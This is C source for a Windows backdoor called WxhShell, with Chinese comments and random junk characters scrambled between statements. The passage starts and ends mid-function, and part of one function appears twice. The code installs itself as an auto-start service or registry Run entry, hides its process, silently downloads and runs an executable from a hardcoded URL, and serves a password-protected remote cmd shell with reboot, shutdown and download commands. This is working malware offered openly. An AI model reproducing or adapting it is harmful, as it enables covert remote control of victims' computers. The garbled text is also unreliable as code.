,Y PROCESS_BASIC_INFORMATION pbi; cb@?}(aFl C1V|0hu HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jrCfWa}z if(NULL == hInst ) return 0; Ja|5 @ ;"xfOzQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Q {m9fE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _jvxc'6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [xK3F+ ;d@#XIS&-( if (!NtQueryInformationProcess) return 0; 'S20\hwt- <kfnpB= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ({ +!`}GY if(!hProcess) return 0; /?wtF4 _no/F2>!/n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hnffz95 xI{)6t$` CloseHandle(hProcess); ~Sdb_EZ )~&CvJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Je';9(ZK if(hProcess==NULL) return 0; ;
8_{e3s PoHg,n] HMODULE hMod; ]dF
,:8 char procName[255]; bpOYHc6,*` unsigned long cbNeeded; kT|dUw9G xn?a. 3b' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8mCxn@yV [ieI;OG; CloseHandle(hProcess); FX;QG94!
M#ZcY if(strstr(procName,"services")) return 1; // 以服务启动 a y4 % .L+6 $8m return 0; // 注册表启动 w3N[9w?1 } y3vdUauOn u :}%xD6 // 主模块 -TLlwxc^% int StartWxhshell(LPSTR lpCmdLine) yyR0]NzYUD { "H2EL}3/] SOCKET wsl; .7^c@i[ BOOL val=TRUE; Plc-4y1 int port=0; 87=&^.~` struct sockaddr_in door; H!c@klD XYQ/^SI!: if(wscfg.ws_autoins) Install(); 3W V"U sXqz+z$* port=atoi(lpCmdLine); 6=kEyJT' PoNi"Pv if(port<=0) port=wscfg.ws_port; >3ZFzh&OYQ f}6s
Q5 WSADATA data; o5d%w-' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tE.FrZS G`+T+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A4Ru g\p] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #HYr0Tw6` door.sin_family = AF_INET; 2{D{sa door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9X[kEl door.sin_port = htons(port); u\a#{G;Z r+' qd) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w!#tTyk` closesocket(wsl); (XVw"m/ye return 1; M\vwI" } Cmu@4j& iky|Tp if(listen(wsl,2) == INVALID_SOCKET) { &)2i[X closesocket(wsl); ?yZ+D z\ return 1; 1}S S+>` } rUwZMli Wxhshell(wsl); bw(a6qKK WSACleanup(); 'QJ:`)z 90Pl$#cb2 return 0; 5]~'_V c>,KZ! } ,aOl_o -& _> f`!PlB| // 以NT服务方式启动 a Ve'ry VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N1Ng^aY0 { ?U%QG5/> DWORD status = 0; v>:Ur}u!D DWORD specificError = 0xfffffff; f<
ia(d >q#rw serviceStatus.dwServiceType = SERVICE_WIN32; _uWpJhCT serviceStatus.dwCurrentState = SERVICE_START_PENDING; B3: ez
jj serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4hO!\5-w: serviceStatus.dwWin32ExitCode = 0; V08?-Iz$ serviceStatus.dwServiceSpecificExitCode = 0; gK_Ymq5>"M serviceStatus.dwCheckPoint = 0; iM AfJ-oN serviceStatus.dwWaitHint = 0; oxC[F*mD [I0:=yJ+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F7
5#* if (hServiceStatusHandle==0) return; ?e`^P rT M}})81 status = GetLastError(); h mvfw:Nq4 if (status!=NO_ERROR) kC WEtbz1 { oNr-Q& C, serviceStatus.dwCurrentState = SERVICE_STOPPED; Jk&3%^P{m serviceStatus.dwCheckPoint = 0; neB\q[k serviceStatus.dwWaitHint = 0; 6q*9[<8 serviceStatus.dwWin32ExitCode = status; "76]u) serviceStatus.dwServiceSpecificExitCode = specificError; ^({})T0wu SetServiceStatus(hServiceStatusHandle, &serviceStatus); %u? ># return; <S\jpB } 8N!b>?? "K ~ serviceStatus.dwCurrentState = SERVICE_RUNNING; Bs13^^hu serviceStatus.dwCheckPoint = 0; C`K?7v3$m serviceStatus.dwWaitHint = 0; nv GF2(;l if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4<9=5 q] } BYpG _?<|{O // 处理NT服务事件,比如:启动、停止 7zA'ri3w VOID WINAPI NTServiceHandler(DWORD fdwControl) ^.1)};i { ={_C&57N1 switch(fdwControl) "/)#O~ { uYn_? G case SERVICE_CONTROL_STOP: zxJ]"N serviceStatus.dwWin32ExitCode = 0; wi;Br[d serviceStatus.dwCurrentState = SERVICE_STOPPED; 6{x(.= serviceStatus.dwCheckPoint = 0; ,kF1T, serviceStatus.dwWaitHint = 0; C.~,qmOP { F{Z~ R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }e!x5g } N+++4; return; 2gc/3*F8 case SERVICE_CONTROL_PAUSE: gaQdG=G8$ serviceStatus.dwCurrentState = SERVICE_PAUSED; 5}:-h> break; ?u-|>N> case SERVICE_CONTROL_CONTINUE: PbW(%7o(t serviceStatus.dwCurrentState = SERVICE_RUNNING; =V-A@_^!c break; a,xycX:U case SERVICE_CONTROL_INTERROGATE: ks"|}9\%< break; S-Wz our, }; %kv0Wefs SetServiceStatus(hServiceStatusHandle, &serviceStatus); R,gR;Aarw } Qr1 "Tk7s ~Am,%"%\ // 标准应用程序主函数 ^]7}YF2| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~KHVY)@P { *$yR*}A _/F7?^j // 获取操作系统版本 Y?S!8-z OsIsNt=GetOsVer(); %Qc La// GetModuleFileName(NULL,ExeFile,MAX_PATH); Hcl(3>Jn2 K$>%e36Cc // 从命令行安装 ->sm+H-* if(strpbrk(lpCmdLine,"iI")) Install(); ?sab*$wG 4
K!JQ|9 // 下载执行文件 r) HHwh{9 if(wscfg.ws_downexe) { !LggIk1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'L
8n-TyL WinExec(wscfg.ws_filenam,SW_HIDE); }&/o'w2wY } t5[#x4
p ;fsZ7k4]do if(!OsIsNt) { &7<TAo;O // 如果时win9x,隐藏进程并且设置为注册表启动 $AfM>+GQ`n HideProc(); RLw;(*(g StartWxhshell(lpCmdLine); h^?\xm| } { WIJC',Y else g>Y|9Y if(StartFromService()) UADFnwR[R // 以服务方式启动 IT(lF StartServiceCtrlDispatcher(DispatchTable); '3_]Gu-D else aAJU`=uq // 普通方式启动 OTy.VT| StartWxhshell(lpCmdLine); IzsphBI }x@2]juJ return 0; u6T+Cg } 18~>ZR DKne'3pH TFH \K{DM mk1bcK9 =========================================== DSC$i| :e]a$ QcgRAo+u *i]=f6G 1xD=ffM>8N WfWN(:dF " "^4_@ oo t\NqR #include <stdio.h> ?kWC}k{ #include <string.h> |?rNy=P, #include <windows.h> 21
O'M #include <winsock2.h> .P;*D ws #include <winsvc.h> %C$%!C #include <urlmon.h> kgnmGuka ?!9)q.bW #pragma comment (lib, "Ws2_32.lib") yOphx07 ( #pragma comment (lib, "urlmon.lib") 74H)|Dkx %70~M_ #define MAX_USER 100 // 最大客户端连接数 L%BNz3:Dt #define BUF_SOCK 200 // sock buffer =+ytTQc*ot #define KEY_BUFF 255 // 输入 buffer 7l'6gg <0H"|:W>I] #define REBOOT 0 // 重启 ]DOX?qI
i #define SHUTDOWN 1 // 关机 IOb*GTb :E_g"_ #define DEF_PORT 5000 // 监听端口 z*kutZ:6Y MNC*Glj= #define REG_LEN 16 // 注册表键长度 CsTF #define SVC_LEN 80 // NT服务名长度 9;_sC 1nQWW9i // 从dll定义API \Kl+ 5%L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %ZNI:Uh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e<=cdze typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [onGNq?# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lp<g\ vV[eWd.o6M // wxhshell配置信息 lLp^Gt^}w( struct WSCFG { q[HTnx int ws_port; // 监听端口 lL{5SH<Q char ws_passstr[REG_LEN]; // 口令 86(I^= int ws_autoins; // 安装标记, 1=yes 0=no I|>^1kr8w char ws_regname[REG_LEN]; // 注册表键名 94+KdHAo^M char ws_svcname[REG_LEN]; // 服务名 wT `a3Ymm char ws_svcdisp[SVC_LEN]; // 服务显示名 Q7R~{5r>W char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZT,B(#m char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \]=7!RQ\ int ws_downexe; // 下载执行标记, 1=yes 0=no kB/D!1
" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,=tD8@a< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |p><'Q%* Tsgk/e9K2? }; b
/@#}Gc 0(mkeIzJt/ // default Wxhshell configuration 7bk%mQk struct WSCFG wscfg={DEF_PORT, u:[vaBh91 "xuhuanlingzhe", V\u>"3BQw 1, MO&}r7qq "Wxhshell", odPL{XFj "Wxhshell", %K\?E98M "WxhShell Service", R(2tlZ "Wrsky Windows CmdShell Service", Cz72?[6 "Please Input Your Password: ", +)j$|x~(A 1, : y5<go8e "http://www.wrsky.com/wxhshell.exe", wW#}:59} "Wxhshell.exe" UG2nX3? }; L1ieaKw PIH*Rw*GKZ // 消息定义模块 >)spqu] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AI,(z;{P char *msg_ws_prompt="\n\r? for help\n\r#>"; Sg6"WV{< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; et,f_fd7v char *msg_ws_ext="\n\rExit."; sYjpU char *msg_ws_end="\n\rQuit."; O>^C4c! char *msg_ws_boot="\n\rReboot..."; P5
K' p5}# char *msg_ws_poff="\n\rShutdown..."; *tgnYa[l char *msg_ws_down="\n\rSave to "; 4d8B`Fa9 KcK>%% char *msg_ws_err="\n\rErr!"; VwOW=4`6 char *msg_ws_ok="\n\rOK!"; Svc|0Ad& SILQ char ExeFile[MAX_PATH]; c3:,Ab| int nUser = 0; UVw~8o9s HANDLE handles[MAX_USER]; ag*mG*Z int OsIsNt; :cq9f2) 0TGLM#{ SERVICE_STATUS serviceStatus; >S'17D SERVICE_STATUS_HANDLE hServiceStatusHandle; +RnkJ* l J(c{y]` J // 函数声明 @1DX int Install(void); 87=^J
xy int Uninstall(void); bzX\IrJpOZ int DownloadFile(char *sURL, SOCKET wsh); GlbySD@ int Boot(int flag); dHK`eS$sb void HideProc(void); wvbPnf^y int GetOsVer(void); e XfZ5(na int Wxhshell(SOCKET wsl); 7VMvF/ap]u void TalkWithClient(void *cs); u86"Y^d# int CmdShell(SOCKET sock); xKQ+{"?-^g int StartFromService(void); {_S}H1, int StartWxhshell(LPSTR lpCmdLine); zipS
]YD =dII- L=` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )yTm.F VOID WINAPI NTServiceHandler( DWORD fdwControl ); qEpi] =| 1jc,
Y.mP // 数据结构和表定义 ]`&Yqg SERVICE_TABLE_ENTRY DispatchTable[] = f.
FYR|%tq { SE),":aY {wscfg.ws_svcname, NTServiceMain}, ``OD.aY^s {NULL, NULL} 'bo~%WA]n }; X LL/4 ) |!"2fI // 自我安装 Iz
;G*W18 int Install(void) =li | { 'g$(QvGF9 char svExeFile[MAX_PATH]; 4\6N~P86 HKEY key; iVd.f
A strcpy(svExeFile,ExeFile); (cN}Epi(D c05 %iv // 如果是win9x系统,修改注册表设为自启动 rk7QZVE if(!OsIsNt) { R,|d`)T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G(~;]xNW+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r8,romE$ RegCloseKey(key); nWMmna.5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kt"BE j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /\H>y RegCloseKey(key); LE*h9(( return 0; aj?a^}X } 'JNElXqrv } {W]=~*w } ]79:yMD~ba else { ox%9Ph N_pJk2E // 如果是NT以上系统,安装为系统服务 1qf!DMcdZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (iRide if (schSCManager!=0) I =1+h { /w]!wM SC_HANDLE schService = CreateService R1& [S/ ( 55;g1o}}f schSCManager, aBNZdX]vzO wscfg.ws_svcname, PJ2qfYsH=> wscfg.ws_svcdisp, Pv<24:ao SERVICE_ALL_ACCESS, TpHfS]W-P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s%2v3eb SERVICE_AUTO_START, L3n_ 5| SERVICE_ERROR_NORMAL, *&d<yJM`b svExeFile, (ZY@$'' NULL, V^\8BVw NULL, [-)r5Dsdq NULL, i} N8(B( NULL, HO[wTB|D] NULL '
4ER00 ); ET[kpL if (schService!=0) TOoQZTI { r\blyWi CloseServiceHandle(schService); 2 ho>eRX CloseServiceHandle(schSCManager); )=-0M9e.{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kdn'6>\ strcat(svExeFile,wscfg.ws_svcname); S6fL>'uQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ak:ibV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8
O 67 RegCloseKey(key); :_@JA0n return 0; UQ[B?jc } fm^@i;D
} z8[yt282 CloseServiceHandle(schSCManager); 2KQoy; } cZ<A0 } 6<' 21 8P"_#M?! return 1; h68]=KyK } -CRQp1] gq"gUaz // 自我卸载 Y;)dct int Uninstall(void) Dc+'<" { <a[Yk 2 HKEY key; P|HKn,ar i,|0@Vy if(!OsIsNt) { OQ,NOiNkap if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tqy@iEz+ RegDeleteValue(key,wscfg.ws_regname); eYC ^4g%l( RegCloseKey(key); o ,xxh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h(F<h_ RegDeleteValue(key,wscfg.ws_regname); =i(?deR RegCloseKey(key); hRq3C1mR return 0; !wWJ^Oz= } ]r-C1bKD` } 11,!XD*" } efD)S92 else { %%Qo2^- rYp3(k3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }=v)Js if (schSCManager!=0) D)@YI.T { Vp<seO;7o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JICawj:I if (schService!=0) meCC?YAB { +z9gbcx if(DeleteService(schService)!=0) { t#S<iBAZ CloseServiceHandle(schService); ay
%KE=*v CloseServiceHandle(schSCManager); 1-PoZ[p-R return 0; $-c!W!H } n=,\;3Y= CloseServiceHandle(schService); !sRngXCXk? } >+mD$:L CloseServiceHandle(schSCManager); )NO<s0?& } MgC:b-&5_ } T<I=%P) m] W5+ return 1; cS. -7
} !gLkJ) dVQ-k // 从指定url下载文件 RID]pek int DownloadFile(char *sURL, SOCKET wsh) XUF\r]B,9 { ^0#;YOk HRESULT hr; .c#y%S char seps[]= "/"; l?iSxqdT char *token; cv(PP-'\ char *file; Sggq3l$Qc char myURL[MAX_PATH]; xP=/N!,# char myFILE[MAX_PATH]; 0A:n0[V:] `y+-H|%? strcpy(myURL,sURL); 9
C{;h token=strtok(myURL,seps); ?go:e# while(token!=NULL) '&99?s`u { v?c 0[+? file=token; m>}8'N) token=strtok(NULL,seps); a,Gxm! } ;Efcw[< j,d*?'X GetCurrentDirectory(MAX_PATH,myFILE); W-
$a
Y2 strcat(myFILE, "\\"); !WkIi^T strcat(myFILE, file); ^>?CMcN4* send(wsh,myFILE,strlen(myFILE),0); S?{/hy send(wsh,"...",3,0); Wy]^Ub gW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z5*=MlZ)R. if(hr==S_OK) Kd3?I5t return 0; I5AO?BzJ else $hR)i return 1; _28<m
JfG OquAql: } 0lM{l? f&4,?E;6% // 系统电源模块 -;;Z 'NM;8 int Boot(int flag) ZAuWx@} { ?@6/Alk HANDLE hToken; CY?G*nS?iK TOKEN_PRIVILEGES tkp; jy2IZ o %OcGdbs if(OsIsNt) {
\4ghYQ: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G+*cpn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iO1nwl !# tkp.PrivilegeCount = 1; Ap\AP{S4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HjWq[[Nz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >i,iOx|E- if(flag==REBOOT) { T:asm1BC[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }iBC@`mg( return 0; qu6DQ@
~YC } M~6@20$oW else { 4YU/uQm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tZWrz
e^ return 0; ~:sE:9$z } ^ons:$0h } &B{8uge1 else { )wzV
$(~ if(flag==REBOOT) { B`#h{ )[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (9fdljl],: return 0; x4a:PuqmGG } xcCl
(M]+ else { y@ek=fT%4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u>T76,8|\ return 0; @fn6<3 } s0LA^2U } 6a}r( yP bNzqls$ return 1; \94j rr } {M~lbU >X Qv?5 // win9x进程隐藏模块 1|y$~R.H void HideProc(void) <ZPZk'53<f { 1-;?0en&0 !)OB@F%U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /nB'kg[h\ if ( hKernel != NULL ) uOk%AL> { Mn^zYW|( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +QqH}=
M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zy]s`aa FreeLibrary(hKernel); @]
.VQ<X|0 } Q2'eQ0W{o M StX*Zw return; E)'8U } L-'k7?%( qJs[i>P[W // 获取操作系统版本 p%RUHN3G[ int GetOsVer(void) oFg'wAO. { }N3`gCy9eN OSVERSIONINFO winfo; Etnb3<^[t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?g}kb GetVersionEx(&winfo); >2-F2E, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z^6#4Q]YC return 1; CUhV$A#oo else !ng\`
|8? return 0; j]> uZalr } d?Y-;-|8Qh B%b_/F]e // 客户端句柄模块 LdTIR] int Wxhshell(SOCKET wsl) ILG?r9x { _-a|VTM SOCKET wsh; Va9q`XbyO struct sockaddr_in client; 1mUTtYU DWORD myID; p?Sl}A@` ,olwwv_8G while(nUser<MAX_USER) ~/c5hyTx { NNX%Bq int nSize=sizeof(client); BMjfqX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kMS5h~D[ if(wsh==INVALID_SOCKET) return 1; |!b9b(_j9 IQ{?_' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8eww7k^R if(handles[nUser]==0) 8kbBz closesocket(wsh); TzY!D*%z else |Y{PO&-?r nUser++; +!$dO'0nt, } OX)BP.h# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q]ZSjJ J{H?xc
o return 0; '?k' 6R$'\ } G1r V<,#m =+(Q.LmhC // 关闭 socket X!7Xg void CloseIt(SOCKET wsh) nk>8SW^ { kpT>G$s~gy closesocket(wsh); ~9i qD nUser--; <|Iyt[s ExitThread(0); i0i`k^bA } UGf6i"F cP('@K=p // 客户端请求句柄 VK$zq5D void TalkWithClient(void *cs) Av[Ud
*~ { X=#It&m%s AA_@\:w^ SOCKET wsh=(SOCKET)cs; T8mY#^sW_ char pwd[SVC_LEN]; .SBc5KX char cmd[KEY_BUFF]; jRwa0Px( char chr[1]; mOSCkp{<e int i,j; hJ4S3b r?]%d! while (nUser < MAX_USER) { #O><A&FrF` s%bUgO%& if(wscfg.ws_passstr) { cyHhy_~R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u:eW0Ows" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [^Q&suy //ZeroMemory(pwd,KEY_BUFF); .CvFE~
i=0; ?AT(S while(i<SVC_LEN) { @7]\y7D :Ip~)n9t // 设置超时 c-|kv[\a fd_set FdRead; |thad!? struct timeval TimeOut; /xF 9:r FD_ZERO(&FdRead); #9INX`s- FD_SET(wsh,&FdRead); %-k(&T3& TimeOut.tv_sec=8; <(Tiazg TimeOut.tv_usec=0; ?&XzW+(X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s?5d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jB` 7T^bU vD_u[j] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y3Y2QC( pwd=chr[0]; $>|?k$(x if(chr[0]==0xd || chr[0]==0xa) { htQ;m)>J: pwd=0; Z%KL[R}^w; break; 0}6QO } '}@e5^oL i++; 3V"dG1? } #0jSZ g^," ;r%<2( // 如果是非法用户,关闭 socket "Jf4N if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &^AzIfX}Gw } >}70]dN7b gYRqqV send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5s#R`o%Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |}:e+?{o 1V#0\1sj while(1) { +}&pVe\t r$94J'_ ZeroMemory(cmd,KEY_BUFF); ~WzMK Y"r3i] // 自动支持客户端 telnet标准 Tw?Pp8' j=0; \MfR #k0 while(j<KEY_BUFF) { 5dbX%e_OP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6-D%)Z( cmd[j]=chr[0]; ?SHc}iaU# if(chr[0]==0xa || chr[0]==0xd) { hgF21Oj9 cmd[j]=0; I|GV
:D break; J11dqj } Pw0{.W~r j++; `'dX/d } @\#'oIc| 1!K!oY // 下载文件 HJnv'^yn if(strstr(cmd,"http://")) { '2;Ny23 send(wsh,msg_ws_down,strlen(msg_ws_down),0); hz&^_G6` if(DownloadFile(cmd,wsh)) &z7N\n send(wsh,msg_ws_err,strlen(msg_ws_err),0); .;]YJy else E!:.G+SEl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &f
(sfM_n } "~.8eKRQ else { :< KSf#O YzforM^F switch(cmd[0]) { Om &{4a\ Q'
OuZKhA // 帮助 Pf^Ly97 case '?': { X^?|Sz<^E send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v@}1WGY break; +35)=Uov } GN~[xXJU // 安装 p@!@^1j= case 'i': { Mp DdJ, if(Install()) =:ya;k& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tye$na&$} else q.u[g0h; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4EaSg# break; .O@q5G } {7ZtOe // 卸载 K%aPl~e case 'r': { #w%a
m`+ if(Uninstall()) =+SVzK,+3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); YI? C-, else _k"&EW{ Ii send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qCxD{-9x{ break; % RBI\tj } O=!)})YG // 显示 wxhshell 所在路径 c"QkE* case 'p': { Bp=oTCG char svExeFile[MAX_PATH]; priT7! strcpy(svExeFile,"\n\r"); <?=mLOo= strcat(svExeFile,ExeFile);
01UR send(wsh,svExeFile,strlen(svExeFile),0); ^J*G%* break; o\=i0HR9 } ib""Fv7{ // 重启 q|Pt>4c5? case 'b': { a@V/sh send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8f6;y1!; if(Boot(REBOOT)) S,)|~#5x send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` + n else { I!soV0VU] closesocket(wsh); b[&,%Sm+6 ExitThread(0); BC$;b>IUA } &ttv4BC^r break; ^!v} } [Q.4]K2 // 关机 a|6x!p2X case 'd': { "JQt#[9l send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %M0mwty] if(Boot(SHUTDOWN)) YKX>@)Dxv send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wc`J`.#
else { yBD2 closesocket(wsh); h3;o!FF ExitThread(0); H-\{w
} >`rNT|rg break; bsk=9K2_2t } +=B}R // 获取shell sP3.s_U^ case 's': { _WjETyh
[H CmdShell(wsh); vxilQp closesocket(wsh); BJ.8OU*9]S ExitThread(0); #@\NdW\ break; afP&+ 5t@O } UmD-7Fd // 退出 %&=(,;d case 'x': { 2dd:5L, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jn
<^Q7N CloseIt(wsh); 7)(`
break; V^$rH< } v(Zi;?c // 离开 {i%xs#0h case 'q': { "aCb;2Rs send(wsh,msg_ws_end,strlen(msg_ws_end),0); CAo )v,f closesocket(wsh); DP6{HR$L WSACleanup(); J PzQBc5e exit(1); s
eZ<52f2 break; *_).UAP. } ch,Zk )y:_ } >2Qqa;nx| } ID)gq_k[8, -C'X4C+ // 提示信息 3!oQmG_T if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^tKOxW#
a } ?#EXG } J"2ODB5" FG5c:Ep return; HT,kx } h3d\MYO)B g=YiR/O1QN // shell模块句柄 R;TEtu7 int CmdShell(SOCKET sock) |gRgQGeB { -IEP?NX STARTUPINFO si; X,Q=n2X?3 ZeroMemory(&si,sizeof(si)); tId !C si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `TlUJ]d) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0iZ9a/v PROCESS_INFORMATION ProcessInfo; "O*W]e char cmdline[]="cmd"; ATmqq)\s CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h^_taAdS` return 0; k]/6/s\ } SX=0f^ <sCq
x/L // 自身启动模式 !E:Vn *k; int StartFromService(void) ,fG_'3wb { 4bFVyv typedef struct R5;eR(24G { F/od,w9_ DWORD ExitStatus; ~q T1<k DWORD PebBaseAddress; yDyeP{ DWORD AffinityMask; lQ<n
dt~ DWORD BasePriority; ?6YUb; ULONG UniqueProcessId; 'iISbOM ULONG InheritedFromUniqueProcessId; 6j"I5,-~! } PROCESS_BASIC_INFORMATION; hC,-9c nk3<]u PROCNTQSIP NtQueryInformationProcess; aCi^^}! pn%|; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6p=x gk-q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PLD'Q,R b}L,kT HANDLE hProcess; %FWfiFV|< PROCESS_BASIC_INFORMATION pbi; (F
' 8~Hs3\Hp HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'kg]|"M if(NULL == hInst ) return 0; S}[:;p?F` Y$$?8xr
~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2l(j
4~g g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AW&s-b%P NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l
75{JxZX 4Z~Dxo if (!NtQueryInformationProcess) return 0; ^21f^>k( 5F sj_wFk hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yqb<<4I if(!hProcess) return 0; 9PGR#!!F$ PM<LR?PLc if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U4L=3T+:[ V1 #aDfiW CloseHandle(hProcess); ecZOX$'5 Ww
tQ>'R" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XhD fI
